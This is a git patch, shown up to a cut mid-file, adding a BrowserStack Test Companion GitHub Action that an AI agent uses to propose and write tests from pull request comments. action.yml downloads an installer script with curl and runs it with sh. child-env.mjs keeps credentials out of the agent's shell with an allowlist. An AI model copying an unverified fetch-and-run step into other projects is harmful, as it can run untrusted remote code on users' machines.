From 1ce7c6df7ed63c132e1c2bb6bbf2b4bcd4066366 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:36:10 +0530 Subject: [PATCH 01/18] Add the Test Companion action MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Lets a team ask BrowserStack Test Companion for test work from a pull request comment. Someone comments "@test-companion test this PR"; it reads the change, posts the tests it would write, and writes them once a person replies "go". The result comes back as one comment and one check. Jira: STM-3663, STM-5434. A composite action with ZERO dependencies and no dist/ bundle — unlike the JavaScript actions already here, which commit 8-15MB bundles by hand. What is in src/ is what runs, and there is nothing to rebuild on release. 422 tests, no network and no credentials needed: cd test-companion && node --test --- test-companion/README.md | 89 ++ test-companion/action.yml | 210 ++++ test-companion/package.json | 13 + test-companion/src/access.mjs | 53 + test-companion/src/annotations.mjs | 101 ++ test-companion/src/app-auth.mjs | 96 ++ test-companion/src/child-env.mjs | 56 + test-companion/src/framework.mjs | 41 + test-companion/src/gate.mjs | 90 ++ test-companion/src/intent.mjs | 194 ++++ test-companion/src/main.mjs | 1311 ++++++++++++++++++++++ test-companion/src/outcome.mjs | 148 +++ test-companion/src/plan-run.mjs | 359 ++++++ test-companion/src/push-work.mjs | 288 +++++ test-companion/src/report.mjs | 562 ++++++++++ test-companion/src/runs.mjs | 108 ++ test-companion/src/starter.mjs | 148 +++ test-companion/src/ticket.mjs | 75 ++ test-companion/starter-workflow.yml | 103 ++ test-companion/test/access.test.mjs | 80 ++ test-companion/test/action-yml.test.mjs | 56 + test-companion/test/annotations.test.mjs | 90 ++ test-companion/test/app-auth.test.mjs | 104 ++ test-companion/test/child-env.test.mjs | 46 + test-companion/test/framework.test.mjs | 40 + test-companion/test/gate.test.mjs | 143 +++ test-companion/test/imports.test.mjs | 82 ++ test-companion/test/intent.test.mjs | 241 ++++ test-companion/test/outcome.test.mjs | 154 +++ test-companion/test/plan-run.test.mjs | 604 ++++++++++ test-companion/test/push-work.test.mjs | 399 +++++++ test-companion/test/report.test.mjs | 857 ++++++++++++++ test-companion/test/runs.test.mjs | 179 +++ test-companion/test/starter.test.mjs | 225 ++++ test-companion/test/ticket.test.mjs | 72 ++ 35 files changed, 7417 insertions(+) create mode 100644 test-companion/README.md create mode 100644 test-companion/action.yml create mode 100644 test-companion/package.json create mode 100644 test-companion/src/access.mjs create mode 100644 test-companion/src/annotations.mjs create mode 100644 test-companion/src/app-auth.mjs create mode 100644 test-companion/src/child-env.mjs create mode 100644 test-companion/src/framework.mjs create mode 100644 test-companion/src/gate.mjs create mode 100644 test-companion/src/intent.mjs create mode 100644 test-companion/src/main.mjs create mode 100644 test-companion/src/outcome.mjs create mode 100644 test-companion/src/plan-run.mjs create mode 100644 test-companion/src/push-work.mjs create mode 100644 test-companion/src/report.mjs create mode 100644 test-companion/src/runs.mjs create mode 100644 test-companion/src/starter.mjs create mode 100644 test-companion/src/ticket.mjs create mode 100644 test-companion/starter-workflow.yml create mode 100644 test-companion/test/access.test.mjs create mode 100644 test-companion/test/action-yml.test.mjs create mode 100644 test-companion/test/annotations.test.mjs create mode 100644 test-companion/test/app-auth.test.mjs create mode 100644 test-companion/test/child-env.test.mjs create mode 100644 test-companion/test/framework.test.mjs create mode 100644 test-companion/test/gate.test.mjs create mode 100644 test-companion/test/imports.test.mjs create mode 100644 test-companion/test/intent.test.mjs create mode 100644 test-companion/test/outcome.test.mjs create mode 100644 test-companion/test/plan-run.test.mjs create mode 100644 test-companion/test/push-work.test.mjs create mode 100644 test-companion/test/report.test.mjs create mode 100644 test-companion/test/runs.test.mjs create mode 100644 test-companion/test/starter.test.mjs create mode 100644 test-companion/test/ticket.test.mjs diff --git a/test-companion/README.md b/test-companion/README.md new file mode 100644 index 0000000..a4a8988 --- /dev/null +++ b/test-companion/README.md @@ -0,0 +1,89 @@ +# test-companion + +Ask BrowserStack Test Companion for test work from a pull request. + +Comment `@test-companion test this PR` and it reads the change, proposes the +tests it would write, and writes them once someone replies `go`. The result +comes back as one comment and one check. + +## Quick start + +Two secrets — `BROWSERSTACK_USERNAME` and `BROWSERSTACK_ACCESS_KEY` — and the +workflow below at `.github/workflows/test-companion.yml`. Copy it as-is; what +runs is decided by `testcompanion-pipeline.yml` in your repository, not here. + +```yaml +name: Test Companion + +on: + issue_comment: + types: [created] + pull_request: + types: [opened, reopened, synchronize, closed] + +jobs: + test-companion: + runs-on: ubuntu-latest + timeout-minutes: 35 + permissions: + contents: write # branches and commits + pull-requests: write # the comment + checks: write # the "Test Companion" check + actions: write # stopping a run on request + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # jobs that look at what changed need history + + - uses: browserstack/github-actions/test-companion@v1 + with: + username: ${{ secrets.BROWSERSTACK_USERNAME }} + access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }} +``` + +## Pin the CLI version + +`cli-version` is optional and you should set it once you know which version you +want. + +Without a pin the CLI upgrades itself the first time it runs on a release day. +That spends your pipeline's time on a download, and it means two runs a day +apart are not the same software. + +**Both lines or neither.** A version with no checksum is refused — "refusing an +unverified pinned install" — and the job stops before it reports anything. Take +both from the release you tested with. + +```yaml + cli-version: "1.2.0" + cli-sha256: "" +``` + +## Inputs + +| Input | Required | What it does | +|---|---|---| +| `username` | yes | BrowserStack username, from your secret store | +| `access-key` | yes | BrowserStack access key, from your secret store | +| `cli-version` | no | Pin the CLI. Strongly recommended — see above | +| `cli-sha256` | no | Checksum for the pinned version | +| `build-effect` | no | `off`, `report` or `fail` — whether a test failure fails your build | +| `workflow` | no | Manual runs only; event-driven runs read the pipeline file | +| `preview` | no | Report what would happen and change nothing | +| `app-id` / `app-private-key` | no | Use the Test Companion GitHub App's identity | + +## What runs is not decided here + +This file is awkward to change once it is in many repositories, so it stays +near-empty on purpose. Which jobs run, on which events, with which spending +limits, lives in `testcompanion-pipeline.yml` in your own repository, which you +can edit freely without touching the workflow above. + +## Notes for maintainers + +This is a **composite** action with **no dependencies** and no `dist/` bundle to +rebuild — unlike the JavaScript actions elsewhere in this repository. The +sources in `src/` are what run. + +Tests: `cd test-companion && node --test`. They need no network and no +credentials. diff --git a/test-companion/action.yml b/test-companion/action.yml new file mode 100644 index 0000000..fa91e58 --- /dev/null +++ b/test-companion/action.yml @@ -0,0 +1,210 @@ +name: "Test Companion" +description: > + Run Test Companion from a GitHub workflow — generate test cases, explain a red + build, fix stale tests — and report the result back onto the pull request. + Add this as one step with two secrets; everything else is read from the + testcompanion-pipeline.yml in your repository. +author: "BrowserStack" +branding: + icon: check-circle + color: orange + +inputs: + username: + description: "BrowserStack username. Store it as a repository secret, never inline." + required: true + access-key: + description: "BrowserStack access key. Store it as a repository secret, never inline." + required: true + app-id: + description: >- + Test Companion GitHub App id. With it, comments and the check come from + "Test Companion" rather than github-actions[bot], and the permissions + block below can be deleted. Optional — without it the workflow's own + token is used. + required: false + app-private-key: + description: >- + The App's private key. Store it as a repository or organisation secret, + never inline. It is never passed to the agent's shell. + required: false + + workflow: + description: > + Which job to run, for a manual run only (see `tc workflow list`). Leave it + unset for event-driven runs, where the job comes from your pipeline file. + required: false + preview: + description: "Manual runs only: report what would happen and change nothing." + required: false + default: "false" + + cli-version: + description: > + Exact Test Companion CLI version to install, e.g. 1.39.8. Pinning keeps + the same pipeline behaving the same next month. LEAVE IT UNSET AND THE + LATEST RELEASE IS INSTALLED, which can change between runs — so pin it + if you want a pipeline that does not move under you. + required: false + cli-sha256: + description: > + Checksum for the pinned CLI. Required alongside cli-version, because the + installer refuses an unverified pinned install. + required: false + + config: + description: "Path to the pipeline file. Defaults to testcompanion-pipeline.yml at the repo root." + required: false + build-effect: + description: > + Whether a bad outcome reddens THIS step: off, report or fail. The + Test Companion check always reports truthfully regardless. + required: false + default: "report" + github-token: + description: > + Token used to post the check and the comment. Override only to post as a + different identity, such as a GitHub App. + required: false + default: ${{ github.token }} + self-workflow-name: + description: > + This workflow's own name, so a red run of it is never explained by itself. + Defaults to the running workflow. + required: false + default: ${{ github.workflow }} + +outputs: + outcome: + description: "One of: Succeeded, Tests failed, Run broke, Stopped at limit, Could not run." + value: ${{ steps.run.outputs.outcome }} + result-file: + description: >- + Path to the run's RESULT — the test cases it generated, with their steps. + Written whether or not they reached Test Management, which is the only + record a preview run leaves behind. Distinct from summary-file, which + records how the run went rather than what it produced. + value: ${{ steps.run.outputs.result-file }} + summary-file: + description: "Path to the run's report file." + value: ${{ steps.run.outputs.summary-file }} + cli-version: + description: "The CLI version that actually ran." + value: ${{ steps.install.outputs.cli-version }} + +runs: + using: composite + steps: + # A fresh runner has no git identity, and several jobs commit internally. + # Scoped to this repository rather than --global so nothing outlives the run. + - name: Give this run a git identity + shell: bash + run: | + set -euo pipefail + git config user.email "test-companion[bot]@users.noreply.github.com" + git config user.name "Test Companion" + + - name: Install the Test Companion CLI + id: install + shell: bash + env: + TC_VERSION: ${{ inputs.cli-version }} + TC_SHA256: ${{ inputs.cli-sha256 }} + run: | + set -euo pipefail + curl -fsSL -o /tmp/tc-install.sh https://test-companion.browserstack.com/cli/install.sh + sh /tmp/tc-install.sh + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + version="$("$HOME/.local/bin/tc" --version 2>/dev/null | head -1 || echo unknown)" + # FR-2: pinning only means something if the pin actually took. The + # installer refuses an unverified pinned install on its own, but a + # silent fallback to latest would leave the run reporting a version + # nobody asked for — and "the same pipeline behaves the same next + # month" is the entire point of the input. + if [ -n "${TC_VERSION:-}" ] && [ "${version#*"$TC_VERSION"}" = "$version" ]; then + echo "::error::Asked for Test Companion CLI $TC_VERSION but got '$version'." >&2 + exit 1 + fi + echo "cli-version=$version" >> "$GITHUB_OUTPUT" + echo "::notice::Test Companion $version" + + # The CLI only picks up ambient BROWSERSTACK_* credentials during `auth + # login`; other commands just find no stored session and exit 3. Assuming + # the environment variables alone were enough cost a live run to discover. + - name: Sign in + shell: bash + env: + BROWSERSTACK_USERNAME: ${{ inputs.username }} + BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} + # FR-2. This is the FIRST tc command of the job, and without the + # pin here the CLI self-upgrades during `auth login` — before the + # Run step below ever applies it. The pin then correctly reports + # a mismatch against the binary the pin was meant to preserve, + # so ASKING FOR A PINNED VERSION MADE THE RUN FAIL. Seen live on + # 2026-10-29 when tc 1.1.9 shipped: "pinned to version 1.1.8 but + # the installed binary is 1.1.9". + # + # Every step that runs tc needs this, not just the one that does + # the work. + TC_PIN_VERSION: ${{ inputs.cli-version }} + TC_SKIP_AGENT_SKILL_INSTALL: "1" + TC_ACTION_CLI_VERSION: ${{ steps.install.outputs.cli-version }} + run: | + set -euo pipefail + # Bounded: a surface that cannot draw a browser must never sit waiting + # on an interactive sign-in. + timeout 120 tc auth login + + - name: Run + id: run + shell: bash + env: + # The CLI picks these up on a non-interactive shell with no extra flags. + BROWSERSTACK_USERNAME: ${{ inputs.username }} + BROWSERSTACK_ACCESS_KEY: ${{ inputs.access-key }} + # Stops the CLI upgrading itself mid-pipeline, so a pinned version stays + # pinned and the 90-second first-response budget is not spent on a download. + TC_PIN_VERSION: ${{ inputs.cli-version }} + # Only this step may talk to the GitHub API. Deliberately not exported to + # the environment the agent's own shell commands run in. + GH_TOKEN: ${{ inputs.github-token }} + # A CI runner has no Claude Code to install a skill into; it just adds + # noise and a write to the home directory. + TC_SKIP_AGENT_SKILL_INSTALL: "1" + TC_ACTION_WORKFLOW: ${{ inputs.workflow }} + TC_ACTION_PREVIEW: ${{ inputs.preview }} + TC_ACTION_CONFIG: ${{ inputs.config }} + TC_ACTION_BUILD_EFFECT: ${{ inputs.build-effect }} + TC_ACTION_SELF_WORKFLOW: ${{ inputs.self-workflow-name }} + TC_ACTION_APP_ID: ${{ inputs.app-id }} + TC_ACTION_APP_PRIVATE_KEY: ${{ inputs.app-private-key }} + run: node "${{ github.action_path }}/src/main.mjs" + + - name: Attach the report + if: always() && steps.run.outputs.summary-file != '' + uses: actions/upload-artifact@v4 + with: + name: test-companion-report + path: ${{ steps.run.outputs.summary-file }} + if-no-files-found: ignore + + # Separate artifact from the report, because it answers a different + # question and has a different reader: the report says how the run went, + # this is the work itself. For a preview run it is the only place that + # work survives, so it is attached even when the run is about to go red. + - name: Attach the generated test cases + if: always() && steps.run.outputs.result-file != '' + uses: actions/upload-artifact@v4 + with: + name: test-companion-result + path: ${{ steps.run.outputs.result-file }} + if-no-files-found: ignore + + # Separate from the run step so the report is attached even when the build + # effect says this run should redden the build. + - name: Apply the build effect + if: always() && steps.run.outputs.should-fail == 'true' + shell: bash + run: | + echo "::error::Test Companion: ${{ steps.run.outputs.outcome }}" + exit 1 diff --git a/test-companion/package.json b/test-companion/package.json new file mode 100644 index 0000000..73b1f1b --- /dev/null +++ b/test-companion/package.json @@ -0,0 +1,13 @@ +{ + "name": "test-companion-action", + "version": "0.1.0", + "private": true, + "type": "module", + "description": "GitHub Action wrapper around the Test Companion CLI (STM-3663).", + "scripts": { + "test": "node --test" + }, + "engines": { + "node": ">=20" + } +} diff --git a/test-companion/src/access.mjs b/test-companion/src/access.mjs new file mode 100644 index 0000000..342ec26 --- /dev/null +++ b/test-companion/src/access.mjs @@ -0,0 +1,53 @@ +/** + * Who may ask Test Companion for a run — STM-5434 FR-33. + * + * Write access is the floor and it is not negotiable. On a public repository + * anyone can comment, and a run executes an agent with --yolo against the + * customer's own machine and credentials, so this is the whole access-control + * story for the comment trigger. + * + * The pipeline file may NARROW that to a named team. It may never widen it: + * being on the team is not a way in for someone who cannot write to the + * repository. That asymmetry is the requirement, and it is the reason this is a + * function rather than two booleans combined at the call site. + */ + +/** + * `inTeam` is tri-state on purpose. `undefined` means we could not find out — + * no token for the organisation, API down, rate limited — and an unanswerable + * question is a no, matching hasWriteAccess itself. + */ +export function mayAsk({ hasWriteAccess, askTeam, inTeam } = {}) { + if (!hasWriteAccess) return false + if (!String(askTeam ?? "").trim()) return true + return inTeam === true +} + +/** + * Can this run write test code where the settings say it should? — FR-42. + * + * Tests go in the pull request's own repository by default. A repository that + * points somewhere else needs either the GitHub App installed on both, or a + * token with write access stored as a secret. + * + * FR-42 asks for the summary to say WHICH is missing, and that wording is the + * requirement: a bare "permission denied" halfway through a run leaves someone + * guessing between the two, after the credits are already spent. + * + * `canPush` is tri-state. undefined means we could not find out, and an + * unanswerable question is a no — the same rule as every other access check + * here. + */ +export function describeTestRepoAccess({ testsRepo, thisRepo, canPush } = {}) { + const target = String(testsRepo ?? "").trim() + if (!target) return { ok: true } + if (target.toLowerCase() === String(thisRepo ?? "").toLowerCase()) return { ok: true } + if (canPush === true) return { ok: true } + + return { + ok: false, + message: + `Test code is configured to go to \`${target}\`, but this run cannot write there, so nothing was written to it. ` + + `Install the Test Companion GitHub App on both repositories, or add a token with write access to \`${target}\` as a secret.`, + } +} diff --git a/test-companion/src/annotations.mjs b/test-companion/src/annotations.mjs new file mode 100644 index 0000000..4155c35 --- /dev/null +++ b/test-companion/src/annotations.mjs @@ -0,0 +1,101 @@ +/** + * Putting each failing test on the diff — STM-3663 FR-28, FR-48. + * + * A check that says "Tests failed" and nothing else makes the reviewer leave + * the pull request, open the run, and read the logs. An annotation puts the + * failure on the line itself, in the files-changed view they are already in. + * + * ONE HONEST LIMITATION, stated here because it is easy to misread the result: + * the line is where the test is DECLARED, not where the assertion failed. + * Playwright prints `file:line:col` for the test's declaration on every result + * line and prints nothing machine-readable for the failing assertion. The + * declaration is a real place in the right test, which is what makes the + * annotation useful; it is not the failing statement. + * + * Reporters that print no locator at all (mocha, and anything driving it such + * as wdio) produce no annotations. Those failures are still named in the + * report — being unable to point at a line is not a reason to say nothing. + * + * A SECOND LIMITATION worth knowing before someone debugs it: the path comes + * from the reporter, which prints it relative to the test runner's own root + * (Playwright's `testDir`), and GitHub wants it relative to the repository + * root. They are the same thing in the common layout and differ when the suite + * lives in a subdirectory. GitHub silently ignores an annotation whose path it + * cannot place, so the failure mode is a missing annotation rather than a + * wrong one — the failure is still named in the report either way. + */ + +/** + * GitHub rejects a check-run request carrying more than 50 annotations. A + * suite with 300 failures must not lose the whole set to one rejected call, so + * the list is cut rather than the request risked. + */ +export const MAX_ANNOTATIONS = 50 + +/** + * Read the failing tests back out of the report. + * + * Needs its own reader because parseSummary builds an object, where repeated + * keys collapse and only the last failing test would survive. + * + * The writer separates the name from the location with a TAB (see + * RunSummary.Render in cli/pkg/cli/workflow/summary.go) because a test name is + * whatever the reporter printed and may legitimately contain a colon, a path, + * or something that looks exactly like a locator. + */ +export function parseFailedTests(reportText) { + const out = [] + for (const line of String(reportText ?? "").split("\n")) { + if (!line.startsWith("failed_test: ")) continue + const [name, location] = line.slice("failed_test: ".length).split("\t") + if (!name) continue + if (!location) { + out.push({ name }) + continue + } + const at = location.lastIndexOf(":") + const lineNo = at === -1 ? NaN : Number(location.slice(at + 1)) + if (at > 0 && Number.isInteger(lineNo) && lineNo > 0) { + out.push({ name, file: location.slice(0, at), line: lineNo }) + } else { + out.push({ name, file: location }) + } + } + return out +} + +/** + * A path GitHub can actually annotate: inside the repository, relative to its + * root. An absolute path annotates nothing, and one climbing out of the + * checkout would point at a file that is not in the pull request at all. + */ +const insideTheRepo = (file) => + typeof file === "string" && + file.length > 0 && + !file.startsWith("/") && + !/^[A-Za-z]:[\\/]/.test(file) && + !file.split(/[\\/]/).includes("..") + +/** Turn the failing tests into check-run annotations. */ +export function buildAnnotations(failedTests) { + const out = [] + for (const t of failedTests ?? []) { + if (!insideTheRepo(t.file)) continue + const known = Number.isInteger(t.line) && t.line > 0 + out.push({ + path: t.file, + // GitHub requires a line. Without one the top of the file is the + // only honest place left, and the message says why it is there so + // nobody reads line 1 as the failing statement. + start_line: known ? t.line : 1, + end_line: known ? t.line : 1, + annotation_level: "failure", + title: "Test Companion", + message: known + ? `${t.name} failed. This is where the test is declared; the assertion that failed may be further down.` + : `${t.name} failed. The reporter did not say which line, so this is the top of the file.`, + }) + if (out.length === MAX_ANNOTATIONS) break + } + return out +} diff --git a/test-companion/src/app-auth.mjs b/test-companion/src/app-auth.mjs new file mode 100644 index 0000000..e47aca2 --- /dev/null +++ b/test-companion/src/app-auth.mjs @@ -0,0 +1,96 @@ +/** + * Signing in as the Test Companion GitHub App — STM-5434 Release 4. + * + * Release 4 buys exactly three things, and this is what makes the first two + * real: the comment and the tick come from "Test Companion" rather than + * github-actions[bot], and the team can delete the permissions block from + * their workflow file because an installation token carries the App's own + * permissions. + * + * It does not run anything. A run still happens on the customer's machine + * with their BrowserStack credentials; this only changes who GitHub thinks is + * talking. + * + * Zero dependencies, like the rest of the Action: Node's crypto signs the JWT + * and `gh` exchanges it. The private key never leaves this process, and never + * reaches the agent's environment — childEnvFor is an allowlist and these + * names are not on it. + */ +import { createSign } from "node:crypto" + +/** base64url, which is what JWT uses — base64 with three characters swapped. */ +const b64url = (input) => Buffer.from(input).toString("base64url") + +/** + * The App's credentials, or nothing. + * + * Both halves are required: an App id with no key cannot sign, and a key with + * no id cannot say who it is. Either alone means the workflow is half + * configured, and falling back to the workflow token is the right answer — + * silently, because a repository that never set this up is the normal case. + */ +export function appCredentials(env = {}) { + const appId = String(env.TC_ACTION_APP_ID ?? "").trim() + const privateKey = String(env.TC_ACTION_APP_PRIVATE_KEY ?? "").trim() + if (!appId || !privateKey) return undefined + return { appId, privateKey } +} + +/** How long a JWT lives. GitHub refuses anything over ten minutes. */ +const JWT_LIFETIME_SECONDS = 540 + +/** + * The claims GitHub expects on an App JWT. + * + * `iat` is backdated a minute on purpose. GitHub rejects a token whose issued-at + * is in the future, runner clocks drift, and the failure reads "issued at is in + * the future" on an otherwise perfectly configured workflow. Backdating is the + * documented workaround. + */ +export function jwtClaims(appId, nowSeconds) { + const iat = Math.floor(nowSeconds) - 60 + return { iat, exp: iat + JWT_LIFETIME_SECONDS, iss: String(appId) } +} + +/** A signed App JWT. RS256 is the only algorithm GitHub accepts here. */ +export function signJwt({ appId, privateKey, now = Date.now() / 1000 }) { + const header = b64url(JSON.stringify({ alg: "RS256", typ: "JWT" })) + const payload = b64url(JSON.stringify(jwtClaims(appId, now))) + const signature = createSign("RSA-SHA256").update(`${header}.${payload}`).sign(privateKey, "base64url") + return `${header}.${payload}.${signature}` +} + +/** + * What to ask for when minting an installation token — FR-4. + * + * FR-4 says the Action uses the App's identity "for that repo only". A token + * minted with no body does the opposite: it carries every permission the + * installation holds across every repository it covers, so a run in one + * repository would hold write access to all of an organisation's. + * + * The permissions are the four the starter workflow asks for, and the four + * this Action actually uses: + * contents — branches and commits for the fix and reconcile jobs + * pull_requests — the one comment, and opening a pull request + * checks — the "Test Companion" check + * actions — reading the red run, and cancelling one on "stop" + * + * Returns undefined for a repository we cannot parse. Falling back to an + * unscoped request would be the worst possible reading of a value we did not + * understand. + */ +export function installationTokenRequest(repo) { + const parts = String(repo ?? "").split("/") + if (parts.length !== 2 || !parts[0] || !parts[1]) return undefined + return { + // Bare names: the API rejects "owner/name" here as not found, which + // would silently fall back to the workflow token. + repositories: [parts[1]], + permissions: { + contents: "write", + pull_requests: "write", + checks: "write", + actions: "write", + }, + } +} diff --git a/test-companion/src/child-env.mjs b/test-companion/src/child-env.mjs new file mode 100644 index 0000000..47d9dbc --- /dev/null +++ b/test-companion/src/child-env.mjs @@ -0,0 +1,56 @@ +/** + * What the agent's subprocess is allowed to see — STM-3663 FR-3. + * + * Pulled out of main.mjs so this boundary is testable: everything here is + * readable by shell commands the model chooses to run, which makes it the one + * place in the Action where a mistake hands away a credential. + */ +/** + * The environment the agent's subprocess gets — an allowlist, not a denylist. + * + * The run executes shell commands the model chooses, so everything here is + * readable by them. A denylist was the first attempt and was not enough: a + * composite action's own inputs can surface as INPUT_* variables, which would + * have reintroduced the very GitHub token the denylist removed. Listing what + * the CLI needs is the only version that stays correct as the surroundings + * change. + * + * Known gap, not solved here: `actions/checkout` leaves a credential in + * .git/config, which this cannot reach. That is the same tension recorded as an + * open item in the tech spec — the pull-request-raising jobs genuinely need a + * push credential inside the run. + */ +export function childEnvFor(source) { + const KEEP_EXACT = new Set([ + "PATH", + "HOME", + "USER", + "LOGNAME", + "SHELL", + "TERM", + "TMPDIR", + "TZ", + "LANG", + "LC_ALL", + "CI", + "RUNNER_OS", + "RUNNER_ARCH", + "RUNNER_TEMP", + ]) + // The exception to the TC_ prefix below, and the reason this is an explicit + // list rather than a rule. The App's private key is TC_ACTION_APP_* — it + // matches the kept prefix, and it can mint installation tokens for every + // repository the App is installed on. That is a far worse thing to hand a + // shell than the workflow token this allowlist was written to keep out. + const NEVER = new Set(["TC_ACTION_APP_ID", "TC_ACTION_APP_PRIVATE_KEY"]) + // TC_* is the CLI's own configuration; BROWSERSTACK_* is how it signs in; + // the proxy variables matter inside corporate networks. + const KEEP_PREFIX = ["TC_", "BROWSERSTACK_", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"] + const out = {} + for (const [k, v] of Object.entries(source)) { + if (v == null) continue + if (NEVER.has(k)) continue + if (KEEP_EXACT.has(k) || KEEP_PREFIX.some((pre) => k.startsWith(pre))) out[k] = v + } + return out +} diff --git a/test-companion/src/framework.mjs b/test-companion/src/framework.mjs new file mode 100644 index 0000000..f97d0b9 --- /dev/null +++ b/test-companion/src/framework.mjs @@ -0,0 +1,41 @@ +/** + * Which test framework does this repository use? — STM-5434 FR-13. + * + * FR-13 asks for the starter settings file to arrive "with the detected + * framework", so a team opening the pull request sees their own setup + * reflected rather than a generic file. + * + * Pure: the caller does the directory walk and the package.json read, this + * decides. Guessing WRONG is worse than not guessing — a starter file naming + * Cypress at a Playwright shop tells the team Test Companion understood their + * setup when it did not — so anything unrecognised returns undefined and the + * starter stays generic. + */ + +/** + * A config file is stronger evidence than a dependency: it is what actually + * runs. A repository can easily carry `@playwright/test` in devDependencies + * from an experiment while its suite is Cypress. + */ +const BY_CONFIG = [ + [/(^|\/)playwright\.config\.[cm]?[jt]s$/i, "Playwright"], + [/(^|\/)cypress\.config\.[cm]?[jt]s$/i, "Cypress"], + [/(^|\/)wdio\.conf\.[cm]?[jt]s$/i, "WebdriverIO"], +] + +const BY_DEPENDENCY = [ + [/^@playwright\/test$|^playwright$/i, "Playwright"], + [/^cypress$/i, "Cypress"], + [/^@wdio\/cli$|^webdriverio$/i, "WebdriverIO"], + [/^selenium-webdriver$/i, "Selenium"], +] + +export function detectFramework({ filenames = [], deps = {} } = {}) { + for (const [pattern, name] of BY_CONFIG) { + if (filenames.some((f) => pattern.test(String(f)))) return name + } + for (const [pattern, name] of BY_DEPENDENCY) { + if (Object.keys(deps ?? {}).some((d) => pattern.test(d))) return name + } + return undefined +} diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs new file mode 100644 index 0000000..b4bf655 --- /dev/null +++ b/test-companion/src/gate.mjs @@ -0,0 +1,90 @@ +/** + * Should this request run, or wait for someone to approve it? — STM-5434 FR-43. + * + * The flagship interaction in the PRD: a developer asks, Test Companion says + * what it plans to do, an SDET replies "go", and only then does anything get + * written. + * + * The mechanism is deliberately boring. A held request is run in PREVIEW and + * its report becomes the proposal. Preview has been enforced in the agent's + * tool dispatch since Release 1, so FR-43's "nothing SHALL be written before + * go" is a property of how the run executes rather than a promise made in a + * prompt. The alternative — a separate "propose only" mode in the brain — + * would be a second thing to keep honest. + * + * Pure, so every branch is testable without a runner. + */ +import { INTENT } from "./intent.mjs" + +/** What to do with the request. */ +export const GATE = Object.freeze({ + /** Run it. `preview` says whether for real. */ + RUN: "run", + /** Run it in preview and post the report as a proposal, then end — FR-43. */ + PROPOSE: "propose", + /** A "go" arrived with no proposal waiting. */ + NOTHING_TO_APPROVE: "nothing-to-approve", + /** A "go" arrived on a proposal older than the FR-44 window. */ + EXPIRED: "expired", +}) + +const STRAIGHT_THROUGH = "straight-through" + +/** + * `approval` is the RESOLVED value from `tc workflow bindings --json`. + * + * Anything else — an unvalidated value, or a bindings read that failed and left + * it undefined — holds for review. Fails closed, matching ResolvedApproval on + * the Go side: the cost of a needless proposal is one comment, and the cost of + * the other mistake is an unreviewed run that writes. + */ +export function decideGate({ intent, approval, proposal, actor } = {}) { + if (intent?.kind === INTENT.GO) { + if (!proposal) return { action: GATE.NOTHING_TO_APPROVE } + if (proposal.expired) return { action: GATE.EXPIRED } + // Approving is the whole point, so this is explicitly not a preview. + // + // selfApproved is reported, not refused. Asking and approving both need + // write access, so this is not a privilege boundary — it is a + // workflow-integrity signal. Refusing it outright would strand a solo + // maintainer, who could then never approve anything. + return { + action: GATE.RUN, + preview: false, + approvedProposal: proposal.id, + selfApproved: Boolean(proposal.requester) && proposal.requester === actor, + } + } + + // They already asked for the safe thing. Holding a preview for approval + // would be asking permission to write nothing. + if (intent?.preview) return { action: GATE.RUN, preview: true } + + if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } + + // "review-before-run", and anything unrecognised, which fails closed here. + return { action: GATE.PROPOSE, preview: true } +} + +/** FR-44's thresholds, both marked ASSUMPTION in the PRD. */ +const MANY_FILES = 20 +const MANY_LINES = 1000 + +/** + * Is this change too big to test in one go? — FR-44. + * + * An unreadable pull request is NOT large. Getting that backwards would tell + * every reviewer their change is too big whenever the API call failed. + * + * NOT YET: FR-44 goes on to say the run should propose a FOCUSED set and list + * what it left out. Choosing which part of a thirty-file change to test is the + * agent's judgement, and there is no input for handing it that instruction + * today, so this reports the size and lets the reviewer narrow the proposal + * before approving it. Passing a context key nothing reads would look finished + * and do nothing. + */ +export function describeChangeSize(pr) { + const files = Number(pr?.changed_files ?? 0) + const lines = Number(pr?.additions ?? 0) + Number(pr?.deletions ?? 0) + return { files, lines, large: files > MANY_FILES || lines > MANY_LINES } +} diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs new file mode 100644 index 0000000..384f792 --- /dev/null +++ b/test-companion/src/intent.mjs @@ -0,0 +1,194 @@ +/** + * What did the comment ask for? — STM-5434 FR-34. + * + * A person writes "@test-companion fix the failing tests" and something has to + * turn that sentence into a job name. That happens HERE, in the Action, before + * the CLI is spawned, for one reason: FR-34 says a request we cannot place gets + * a reply listing what we can do, and "nothing SHALL run". Handing the sentence + * to the agent and letting it work out what was meant would spend the + * customer's credits discovering that "make coffee" was never a job. + * + * Kept pure — text in, intent out, no I/O — like plan-run.mjs beside it, so the + * whole vocabulary is testable in milliseconds instead of a push-and-wait loop. + * + * The phrasing people use is NOT a closed set, and this will never match + * everything. That is why UNKNOWN is a real answer rather than a failure: an + * unmatched comment gets the list of what Test Companion can do, which is both + * the honest reply and the cheapest one. + */ + +/** What a comment turned out to be asking for. */ +export const INTENT = Object.freeze({ + /** Run a Test Companion job. `workflow` names it, or is null for "whatever is bound". */ + WORKFLOW: "workflow", + /** Cancel the run in flight — FR-35. */ + STOP: "stop", + /** Approve a waiting proposal, which starts the real run — FR-43. */ + GO: "go", + /** Open the pull request that adds a starter pipeline file — FR-13. */ + SETUP: "setup", + /** We could not place it. FR-34: reply with the list, run nothing. */ + UNKNOWN: "unknown", +}) + +/** + * GitHub's "Quote reply" button copies the comment being replied to in as `>` + * lines, mention and all. Without dropping those first, replying to Test + * Companion's own "comment stop to cancel" message would cancel the run: the + * quoted words match before the person's own ever get read. + */ +const withoutQuotes = (text) => + text + .split("\n") + .filter((line) => !/^\s*>/.test(line)) + .join("\n") + +/** + * A leading politeness, which says nothing about what is being asked for. + * "please stop" is a stop; dropping it lets the patterns below anchor. + */ +const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+/i + +/** + * Cancel the run in flight — FR-35. Still checked before any job word, so + * "stop, don't fix anything" cannot start a fix run. + * + * ANCHORED, because matching the word anywhere made "don't stop until the + * 